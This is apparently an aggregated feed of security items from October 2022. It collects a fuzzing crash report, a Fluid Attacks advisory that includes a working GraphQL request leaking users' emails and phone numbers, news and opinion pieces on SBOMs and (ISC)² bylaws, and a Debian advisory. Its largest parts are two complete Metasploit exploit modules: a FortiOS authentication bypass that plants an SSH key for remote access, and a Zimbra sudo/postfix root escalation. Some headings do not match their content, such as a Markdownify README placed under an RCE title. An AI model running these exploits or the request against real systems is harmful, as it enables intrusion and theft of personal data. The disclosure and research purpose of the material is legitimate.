jsonlint 1.0 is vulnerable to heap-buffer-overflow via /home/hjsz/jsonlint/src/lexer.

Hi, developers of jsonlint.  
I fuzz the jsonlint with AFL,and some crashes incurred—heap-buffer-overflow.The following is the details.  
**Commond: ./jsonlint input**

**Bug**

\=1492403==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e0000000df at pc 0x000000508ea7 bp 0x7ffc32b00ef0 sp 0x7ffc32b00ee8  
READ of size 1 at 0x60e0000000df thread T0  
#0 0x508ea6 in jsonlint::details::ReadCharacter\[abi:cxx11\](jsonlint::Lexer&, bool) /home/hjsz/jsonlint/src/lexer.cpp:18:15  
#1 0x509c58 in jsonlint::details::PeekCharacterabi:cxx11 /home/hjsz/jsonlint/src/lexer.cpp:27:52  
#2 0x509c58 in jsonlint::details::ReadString(jsonlint::Lexer&) /home/hjsz/jsonlint/src/lexer.cpp:48:12  
#3 0x512b99 in jsonlint::Tokenize(jsonlint::Lexer&) /home/hjsz/jsonlint/src/lexer.cpp:256:26  
#4 0x4cb5b1 in main /home/hjsz/jsonlint/src/main.cpp:26:21  
#5 0x7f1da2c68082 in \_\_libc\_start\_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16  
#6 0x41fced in \_start (/home/hjsz/jsonlint/build/jsonlint+0x41fced)

0x60e0000000df is located 0 bytes to the right of 159-byte region \[0x60e000000040,0x60e0000000df)  
allocated by thread T0 here:  
#0 0x4c7b9d in operator new(unsigned long) (/home/hjsz/jsonlint/build/jsonlint+0x4c7b9d)  
#1 0x52d49c in void std::\_\_cxx11::basic\_string<char, std::char\_traits, std::allocator >::\_M\_construct<char\*>(char\*, char\*, std::forward\_iterator\_tag) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/bits/basic\_string.tcc:219:14  
#2 0x4cb40f in main /home/hjsz/jsonlint/src/main.cpp:25:19  
#3 0x7f1da2c68082 in \_\_libc\_start\_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hjsz/jsonlint/src/lexer.cpp:18:15 in jsonlint::details::ReadCharacter\[abi:cxx11\](jsonlint::Lexer&, bool)  
Shadow bytes around the buggy address:  
0x0c1c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c1c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c1c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c1c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c1c7fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00  
\=>0x0c1c7fff8010: 00 00 00 00 00 00 00 00 00 00 00\[07\]fa fa fa fa  
0x0c1c7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c1c7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c1c7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c1c7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c1c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
Shadow gap: cc  
\==1492403==ABORTING

**Crashes**

crashes.zip

**Environment**

Ubuntu 20.04.5 LTS  
master

Thanks for your time.

CVE-2022-42227: Heap-buffer-overflow in jsonlint/src/lexer.cpp:18:15 · Issue #2 · p-ranav/jsonlint

Relatedcode's Messenger version 7bcd20b allows an authenticated external attacker to access sensitive data of any user of the application. This is possible because the application exposes user data to the public.

**Summary**

**Name**

relatedcode/Messenger 7bcd20b - Sensitive Information Disclosure

**Code name**

Coldplay

**Product**

relatedcode/Messenger

**Affected versions**

Version 7bcd20b

**State**

Public

**Release date**

2022-10-14

**Vulnerability**

**Kind**

Business information leak - Personal Information

**Rule**

226\. Business information leak - Personal Information

**Remote**

Yes

**CVSSv3 Vector**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

**CVSSv3 Base Score**

6.5

**Exploit available**

Yes

**CVE ID(s)**

CVE-2022-41707

**Description**

Relatedcode/Messenger version 7bcd20b allows an authenticated external attacker to access sensitive data of any user of the application. This is possible because the application exposes user data to the public.

**Vulnerability**

The application exposes the session data of the users of the application to the public. Among the exposed data are:

*   ID
*   Email
*   PhoneNumber
*   Etc

The ID exposed in this vulnerability will help us to exploit even a broken access control present in this application.

**Exploitation**

To exploit this vulnerability, simply create an account on the server and then send the following request:

    POST /graphql HTTP/2
    Host: relatedchat.io:4000
    User-Agent: Something
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://relatedchat.io/
    Content-Type: application/json
    Authorization: Bearer [YOUR TOKEN]
    Origin: https://relatedchat.io
    Content-Length: 356
    
    {"operationName":"ListUsers","variables":{},"query":"query ListUsers($updatedAt: Date, $workspaceId: String) {\n  listUsers(updatedAt: $updatedAt, workspaceId: $workspaceId) {\n    objectId\n    displayName\n    email\n  fullName\n    phoneNumber\n    photoURL\n    theme\n    thumbnailURL\n    title\n    workspaces\n    createdAt\n    updatedAt\n  }\n}"}
    

**Impact**

An authenticated remote attacker can access sensitive user data. This allows an attacker to obtain enough information to escalate to more serious attacks. In our case, we managed to exploit a broken access control thanks to the data leaked in this vulnerability. Thanks to this I was able to access all the internal chat logs of all registered users.

**Our security police**

We have reserved the CVE-2022-41707 to refer to this issue from now on.

*   https://fluidattacks.com/advisories/policy/

**System Information**

*   Version: relatedcode/Messenger 7bcd20b
    
*   Operating System: GNU/Linux
    

**Mitigation**

There is currently no patch available for this vulnerability.

**Credits**

The vulnerability was discovered by Carlos Bello from the Offensive Team of Fluid Attacks.

**References**

**Vendor page** https://github.com/relatedcode/Messenger

**Timeline**

2022-09-23

Vulnerability discovered.

2022-09-23

Vendor contacted.

2022-09-23

Vendor replied acknowledging the report.

2022-09-23

Vendor Confirmed the vulnerability.

2022-10-14

Public Disclosure.

CVE-2022-41707: relatedcode/Messenger 7bcd20b - Information Disclosure | Fluid Attacks

Markdownify version 1.4.1 allows an external attacker to execute arbitrary code remotely on any client attempting to view a malicious markdown file through Markdownify. This is possible because the application has the "nodeIntegration" option enabled.

**  
  
Markdownify  
****A minimal Markdown Editor desktop app built on top of Electron.**

   

Key Features • How To Use • Download • Credits • Related • License

**Key Features**

*   LivePreview - Make changes, See changes
    *   Instantly see what your Markdown documents look like in HTML as you create them.
*   Sync Scrolling
    *   While you type, LivePreview will automatically scroll to the current location you're editing.
*   GitHub Flavored Markdown
*   Syntax highlighting
*   KaTeX Support
*   Dark/Light mode
*   Toolbar for basic Markdown formatting
*   Supports multiple cursors
*   Save the Markdown preview as PDF
*   Emoji support in preview 🎉
*   App will keep alive in tray for quick usage
*   Full screen mode
    *   Write distraction free.
*   Cross platform
    *   Windows, macOS and Linux ready.

**How To Use**

To clone and run this application, you'll need Git and Node.js (which comes with npm) installed on your computer. From your command line:

# Clone this repository
$ git clone https://github.com/amitmerchant1990/electron-markdownify

# Go into the repository
$ cd electron-markdownify

# Install dependencies
$ npm install

# Run the app
$ npm start

> Note If you're using Linux Bash for Windows, see this guide or use node from the command prompt.

**Download**

You can download the latest installable version of Markdownify for Windows, macOS and Linux.

**Emailware**

Markdownify is an emailware. Meaning, if you liked using this app or it has helped you in any way, I'd like you send me an email at bullredeyes@gmail.com about anything you'd want to say about this software. I'd really appreciate it!

**Credits**

This software uses the following open source packages:

*   Electron
*   Node.js
*   Marked - a markdown parser
*   showdown
*   CodeMirror
*   Emojis are taken from here
*   highlight.js

**Related**

markdownify-web - Web version of Markdownify

**Support**

Or

**You may also like...**

*   Pomolectron - A pomodoro app
*   Correo - A menubar/taskbar Gmail App for Windows and macOS

**License**

MIT

> amitmerchant.com  ·  GitHub @amitmerchant1990  ·  Twitter @amit\_merchant

CVE-2022-41709: GitHub - amitmerchant1990/electron-markdownify: A minimal Markdown editor desktop app

We need more than the incomplete snapshot SBOMs provide to have real impact.

With Executive Order 14028, a large regulatory push toward mandating the production of a software bill of materials (SBOM) began. As this new buzzword spreads, you'd think it was a miracle cure for securing the software supply chain. Conceptually, it makes sense — knowing what is in a product is a reasonable expectation. However, it is important to understand what exactly an SBOM is and whether or not it can objectively be useful as a security tool.

**Understanding SBOMs**

SBOMs are meant to be something like a nutrition label on the back of a grocery store item listing all of the ingredients that went into making the product. While there currently is no official SBOM standard, a few guideline formats have emerged as top candidates. By far, the most popular is the Software Data Package Exchange (SPDX), sponsored by the Linux Foundation.

SPDX, as with most other formats, attempts to provide a common way to represent basic information about the ingredients that go into the production of software: names, versions, hashes, ecosystems, ancillary data like known flaws and license information, and relevant external assets. However, software is not as simple as a box of cereal, and there is no equivalent to the Food and Drug Administration enforcing compliance to any recommended guidelines.

**Everything Is Optional, Therefore Nothing Is Required**

One of the biggest and most obvious gaps in SPDX and other standards is that, like the open source ecosystem at large, it is a set of communities built on general guidelines, not verified standards. Open source communities are wide and sprawling, with contributors from across the globe. Often, package managers and hosting environments are designed by separate committees, each operating in isolation. While SBOM mandates represent an early attempt to unify these many silos of information, they suffer from some of the fundamental limitations of applying a standard retroactively.

First and foremost, the cracks begin to show when we consider what SPDX actually provides. As it turns out, nearly every field in the standard is optional. While this optionality of fields is clearly an artifact of how different the many software ecosystems the format attempts to cover really are, an SBOM loses its value as a real source of truth if there is no requirement for cryptographic hashes or other information that would allow us to positively associate the library with the information presented in the SBOM document.

**SBOMs Miss the Mark on Provenance**

In addition to being incomplete, many of the inputs cannot be properly represented in the current formats, especially from places like version control system repositories. While some emerging frameworks like SLSA attempt to apply notions of provenance, no format hits the mark. We must incorporate accurate provenance data into the SBOM format in order to ensure that we get a reasonable view of what is inside the software we are consuming. This should include the following, at minimum:

*   **Author identity information:** Both maintainers and contributors are a critical part of the software supply chain. They hold the proverbial keys to the kingdom, and choose how the software we consume downstream is released. Even if complete data cannot be captured, we can absolutely do better than what is provided today, which is nothing at all.
*   **Development tools:** This includes build tools, CI/CD infrastructure, and tools used during the development of upstream software. What good is securing your internal development infrastructure if a compromise in any library you use could still cause an internal compromise?
*   **Controls and protections:** If one of the goals is third-party risk management, we must ask: What does the security posture of the development team look like? Is branch protection being used? What sort of review processes are applied?
*   **Artifact attestation:** We absolutely must be able to tie an entry within an SBOM document back to an actual artifact. This should include both an actual build artifact, such as a compiled package, as well as continuously developed artifacts such as tagged branches in a version control system.

Realistically, we must build an understanding of each of these elements to comprehend what goes into the software we are utilizing before even considering how an SBOM may be operationalized.

**We Can't Rely On a Simple Snapshot in Time**

Finally, the biggest challenge with broad SBOM adoption is that the static format only provides the truth in that moment. In order to be meaningful, SBOMs must have the ability to be delivered and accessed continuously.

Consider, for instance, that you were to receive a vendor SBOM from your cloud storage provider. Not only would this SBOM be a document containing tens of thousands of individual pieces of software, but it would also contain many multiples of versions of those software packages. Now, consider that by the time you receive that information, it is likely already out of date. This is because large enterprises often ship hundreds or thousands of builds per day. By the time you have processed, consumed, and reasoned about an SBOM for any large vendor, the data is already stale.

Versions will have changed, new packages will have been added, and some packages may have been removed. Modern development best practices mean that builds and delivers are meant to be continuous, which leads to faster iteration and faster release cycles. It also means that the delivery of a single SBOM is all but meaningless. What this really implies is that there is a strong requirement for scalable automation around SBOMs in order for them to provide true value.

The intent behind SBOMs is to pave the way to improved visibility, both internally and externally. However, don't be fooled into thinking they will secure your software supply chain. We need more than an incomplete snapshot in time to have real impact.

SBOMs: An Overhyped Concept That Won't Secure Your Software Supply Chain

A cross-site request forgery (CSRF) vulnerability in Jenkins Katalon Plugin 1.0.33 and earlier allows attackers to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

CVE-2022-43418: security - Multiple vulnerabilities in Jenkins plugins

Former chair bemoans ‘coup by governance’

Former chair bemoans ‘coup by governance’

Security certification body (ISC)² is being accused of promoting a series of ‘undemocratic' changes to its bylaws.

(ISC)² – the International Information System Security Certification Consortium – is a non-profit organization providing training and certification for cybersecurity professionals.

Over the last two years, it has been carrying out a review of its practices around committees, nominations, and governance. The aim, it said, is to create a more inclusive organization that is better positioned to serve the needs of the security profession in future.

**Bylaw amendments**

The proposed bylaw amendments, announced earlier this month, include allowing the establishment of other non-voting membership classes, adding the chair as an officer of (ISC)², and updating the standing committees to include ones overseeing audit, compensation and CEO succession, nominations, and risk.

There is also a new mission statement, reading: “(ISC)² exists to strengthen the influence, diversity, and vitality of the cybersecurity profession through advocacy, expertise, and workforce empowerment that accelerates cyber safety and security in an interconnected world.”

However, some of the proposed changes have raised concern.

**Member engagement shortcomings**

According to Wim Remes, a former board member who spent three years as (ISC)² chair, the organization currently has a poor record on member engagement, with election turnout averaging only around 4%.

As things stand, 500 endorsements are required for members to raise a petition. However, the new proposals would see this figure raised to 1% of the 170,000-odd members.

“This effectively shuts down an important relief valve in corporate governance, in my opinion, and is not in the interest of the membership,” Remes told The Daily Swig.

“It’s already impossible to get up to 500. It’s unthinkable anybody would make it to 1,600, \[or\] to 2,000.”

**Membership slate**

Also in the pipeline is a significant change to the process for electing the board of directors. If approved, this would remove the option for a write-in candidate and witness the board submitting a slate of qualified candidates to the membership that would be equal to the number of open seats.

“Combined with making the petition process harder – if not impossible – this is as close to a coup by governance as one could get,” Remes argued. “They still call it an election, but it is officially a coronation.”

Meanwhile, the Ethics Committee is to be eliminated as a standing committee of the board.

“I don’t know what the plan here is, but our profession stands and falls by ethics,” Remes explained. “I can’t find a rationale that would explain how we, as members, would not want the board to ensure that professional ethics are maintained by members.”

**Case for the defense**

Clar Rosso, CEO of (ISC)², defended the changes, stating they are aimed at making the organization more inclusive and globally representative.

“The proposed bylaw changes, which members will vote on, reflect not only creating a more inclusive organization, for example, eliminating the English fluency requirement and introducing best practices in term limits and nominations processes, but also modernize the bylaws by using gender neutral references to board officer position and moving our ethics process from one that is majority board-run to a process that is adjudicated by a broader cross-section of members,” Rosso told The Daily Swig.

“Additionally, many of these bylaw changes are reflective of best practices of other similarly-sized associations, and some simply provide clarity and ensure legal compliance with applicable state and federal laws. The (ISC)² board of directors, comprised entirely of member volunteers, supports the proposed changes.”

Members can vote on the proposed bylaw amendments from now until November 19, with proxy votes applied to a final bylaw vote during the annual meeting on December 14.

YOU MAY ALSO LIKE ‘We don’t teach developers how to write secure software’ – Linux Foundation’s David A Wheeler on reversing the CVE surge

Security certification body (ISC)² defends ‘undemocratic’ bylaw changes

This Metasploit module exploits an authentication bypass vulnerability in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API to gain access to a chosen account and then adds an SSH key to the authorized_keys file of the chosen account, allowing you to login to the system with the chosen account. Successful exploitation results in remote code execution.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::SSH  prepend Msf::Exploit::Remote::AutoCheck  attr_accessor :ssh_socket  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.',        'Description' => %q{          This module exploits an authentication bypass vulnerability          in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API          to gain access to a chosen account. And then add a SSH key to the          authorized_keys file of the chosen account, allowing          to login to the system with the chosen account.          Successful exploitation results in remote code execution.        },        'Author' => [          'Heyder Andrade <@HeyderAndrade>', # Metasploit module          'Zach Hanley <@hacks_zach>', # PoC        ],        'References' => [          ['CVE', '2022-40684'],          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'],          ['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'],        ],        'License' => MSF_LICENSE,        'DisclosureDate' => '2022-10-10', # Vendor advisory        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD],        'Privileged' => true,        'Targets' => [          [            'FortiOS',            {              'DefaultOptions' => {                'PAYLOAD' => 'generic/ssh/interact'              },              'Payload' => {                'Compat' => {                  'PayloadType' => 'ssh_interact'                }              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [            IOC_IN_LOGS,            ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file          ]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']),        OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]),        OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]),        OptString.new('KEY_PASS', [false, 'SSH private key password', nil]),        OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]),        OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true])      ]    )  end  def username    if datastore['USERNAME']      @username ||= datastore['USERNAME']    else      @username ||= detect_username    end  end  def ssh_rport    datastore['SSH_RPORT']  end  def current_keys    @current_keys ||= read_keys  end  def ssh_keygen    # ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`    if datastore['PRIVATE_KEY']      @ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key(        File.read(datastore['PRIVATE_KEY']),        datastore['KEY_PASS'],        datastore['PRIVATE_KEY']      )    else      @ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1')    end  end  def ssh_private_key    ssh_keygen.to_pem  end  def ssh_pubkey    Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)  end  def authorized_keys    pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)    "#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost"  end  def fortinet_request(params = {})    send_request_cgi(      {        'ctype' => 'application/json',        'agent' => 'Report Runner',        'headers' => {          'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\""        }      }.merge(params)    )  end  def check    vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")    # a normal request to the API should return a 401    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),      'ctype' => 'application/json'    })    return CheckCode::Unknown('Target did not respond to check.') unless res    return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401    # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable    res = fortinet_request({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/system/status')    })    return CheckCode::Safe unless res&.code == 200    version = res.get_json_document['version']    print_good("Target is running the version #{version}, which is vulnerable.")    Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }    CheckCode::Vulnerable('And SSH is running which makes it exploitable.')  end  def cleanup    return unless ssh_socket    # it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method    data = {      "ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""'    }    fortinet_request({      'method' => 'PUT',      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),      'data' => data.to_json    })  end  def detect_username    vprint_status('User auto-detection...')    res = fortinet_request(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/system/admin')    )    users = res.get_json_document['results'].collect { |e| e['name'] if (e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0') }.compact    # we prefer to use admin, but if it doesn't exist we chose a random one.    if datastore['PREFER_ADMIN']      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.")      users.include?('admin') ? 'admin' : users.sample    else      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.")      (users - ['admin']).sample    end  end  def add_ssh_key    if current_keys.include?(authorized_keys)      # then we'll remove that on cleanup      print_good('Your key is already in the authorized_keys file')      return    end    vprint_status('Adding SSH key to authorized_keys file')    # Adding the SSH key as the last entry in the authorized_keys file    keystoadd = current_keys.first(2) + [authorized_keys]    data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h    res = fortinet_request({      'method' => 'PUT',      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),      'data' => data.to_json    })    fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500    body = res.get_json_document    fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/  end  def read_keys    vprint_status('Reading SSH key from authorized_keys file')    res = fortinet_request({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/system/admin/', username)    })    fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200    result = res.get_json_document['results'].first    ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key|      result[key].gsub('"', '') unless result[key].empty?    end.compact  end  def do_login(ssh_options)    # ensure we don't have a stale socket hanging around    ssh_options[:proxy].proxies = nil if ssh_options[:proxy]    begin      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do        self.ssh_socket = Net::SSH.start(rhost, username, ssh_options)      end    rescue Rex::ConnectionError      fail_with(Failure::Unreachable, 'Disconnected during negotiation')    rescue Net::SSH::Disconnect, ::EOFError      fail_with(Failure::Disconnected, 'Timed out during negotiation')    rescue Net::SSH::AuthenticationFailed      fail_with(Failure::NoAccess, 'Failed authentication')    rescue Net::SSH::Exception => e      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")    end    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket  end  def exploit    print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}")    add_ssh_key    vprint_status('Establishing SSH connection')    ssh_options = ssh_client_defaults.merge({      auth_methods: ['publickey'],      key_data: [ ssh_private_key ],      port: ssh_rport    })    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']    do_login(ssh_options)    handler(ssh_socket)  endend

Fortinet FortiOS / FortiProxy / FortiSwitchManager Authentication Bypass

This Metasploit module exploits a vulnerable sudo configuration that permits the Zimbra user to execute postfix as root. In turn, postfix can execute arbitrary shellscripts, which means it can execute a root shell.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Post::Linux::Priv  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Zimbra sudo + postfix privilege escalation',        'Description' => %q{          This module exploits a vulnerable sudo configuration that permits the          zimbra user to execute postfix as root. In turn, postfix can execute          arbitrary shellscripts, which means it can execute a root shell.        },        'License' => MSF_LICENSE,        'Author' => [          'EvergreenCartoons', # discovery and poc          'Ron Bowes',         # Module        ],        'DisclosureDate' => '2022-10-13',        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Privileged' => true,        'References' => [          [ 'CVE', '2022-3569' ],          [ 'URL', 'https://twitter.com/ldsopreload/status/1580539318879547392' ],        ],        'Targets' => [          [ 'Auto', {} ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Reliability' => [ REPEATABLE_SESSION ],          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS ]        }      )    )    register_options [      OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),      OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),    ]    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),      OptString.new('PayloadFilename', [ false, 'The name to use for the executable (default: ".<random>"' ])    ]  end  # Because this isn't patched, I can't say with 100% certainty that this will  # detect a future patch (it depends on how they patch it)  def check    # Sanity check    if is_root?      fail_with(Failure::None, 'Session already has root privileges')    end    unless file_exist?("#{datastore['ZIMBRA_BASE']}/common/sbin/postfix")      print_error("postfix executable not detected: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")      return CheckCode::Safe    end    unless command_exists?(datastore['SUDO_PATH'])      print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")      return CheckCode::Safe    end    # Run `sudo -n -l` to make sure we have access to the target command    cmd = "#{datastore['SUDO_PATH']} -n -l"    print_status "Executing: #{cmd}"    output = cmd_exec(cmd).to_s    if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')      print_error('Current user could not execute sudo -l')      return CheckCode::Safe    end    if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix")      print_error('Current user does not have access to run postfix')      return CheckCode::Safe    end    CheckCode::Appears  end  def exploit    base_dir = datastore['WritableDir'].to_s    unless writable?(base_dir)      fail_with(Failure::BadConfig, "#{base_dir} is not writable")    end    # Generate some filenames    payload_path = File.join(base_dir, datastore['PayloadFilename'] || ".#{rand_text_alphanumeric(5..10)}")    upload_and_chmodx(payload_path, generate_payload_exe)    register_file_for_cleanup(payload_path)    cmd = "sudo #{datastore['ZIMBRA_BASE']}/common/sbin/postfix -D -v #{payload_path}"    print_status "Attempting to trigger payload: #{cmd}"    out = cmd_exec(cmd)    unless session_created?      print_error("Failed to create session! Cmd output = #{out}")    end  endend

Zimbra Privilege Escalation

Debian Linux Security Advisory 5258-1 - Several vulnerabilities were discovered in Squid, a fully featured web proxy cache, which could result in exposure of sensitive information in the cache manager (CVE-2022-41317), or denial of service or information disclosure if Squid is configured to negotiate authentication with the SSPI and SMB authentication helpers (CVE-2022-41318).

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5258-1                   security@debian.orghttps://www.debian.org/security/                     Salvatore BonaccorsoOctober 19, 2022                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : squidCVE ID         : CVE-2022-41317 CVE-2022-41318Debian Bug     : 1020586 1020587Several vulnerabilities were discovered in Squid, a fully featured webproxy cache, which could result in exposure of sensitive information inthe cache manager (CVE-2022-41317), or denial of service or informationdisclosure if Squid is configured to negotiate authentication with theSSPI and SMB authentication helpers (CVE-2022-41318).For the stable distribution (bullseye), these problems have been fixed inversion 4.13-10+deb11u2.We recommend that you upgrade your squid packages.For the detailed security status of squid please refer to its securitytracker page at:https://security-tracker.debian.org/tracker/squidFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmNPspFfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xNDz0Stmg//YqWFl3omXVLVD3yzv1C0MMXLcndcYPFb42tWRJr2eulh+7lOdC0gqLmg5l/iZLkFhvdAo2hsSN8c0jkKFm2n6GC4O6vc84DF5RE7xVbt8TXOBXZhq+C7FKLmRNa1y1M9UbjH7YsHbJvfWKEDJcDuceQFGcvFX2JsXYTtHnQtwYRpsUfZWOJkK/VYjvWOHKfeppgg1zeVCEiL3sQZ//7I+xd3ShzjR1iRj58L6tmF+64el+YFk6XGQtAAZHr4AsBv46VuEnfOvynJjCMs5Nm/zfceAhxez3tLRBJ0q7N7Ka/jNeFx7UAMigsoAZ2Bf3YXkYYPLcU9odl0VeCZRe/lxraUuPu9wBHK30jTfDastJPUJVwfTluyTB6LkCHm5UjzegRYw8EO/fHylND64TqW9xmuxmOrcdvo//MejOiKIDHTd3sX0ZkceXcwMQS7+qOvGAS9gUhSoG29XTAPWUj9sLpOnCmS5zSa2OdJ7ZX0Mv3sFs/HLe5MBLQ87E0t5R+US2XsTHcIBizCZxrYXOB3gtvBIV/4Ik06BF66QMXDlZuHqDNsWmJoKmBSHU6QFcbdnSfc1B0+1Aa8LKOXBSBt2WvSkrlCEA/TpuXKghjNLdJ4kBTNM8pD1iCj/j8mgUh5Bnr7SEp/Tgd006sTGcgVFLPFKnyxdAN8iG3N4+ijFxE==nyyH-----END PGP SIGNATURE-----

Debian Security Advisory 5258-1

AVS Audio Converter version 10.3 suffers from a stack overflow vulnerability.

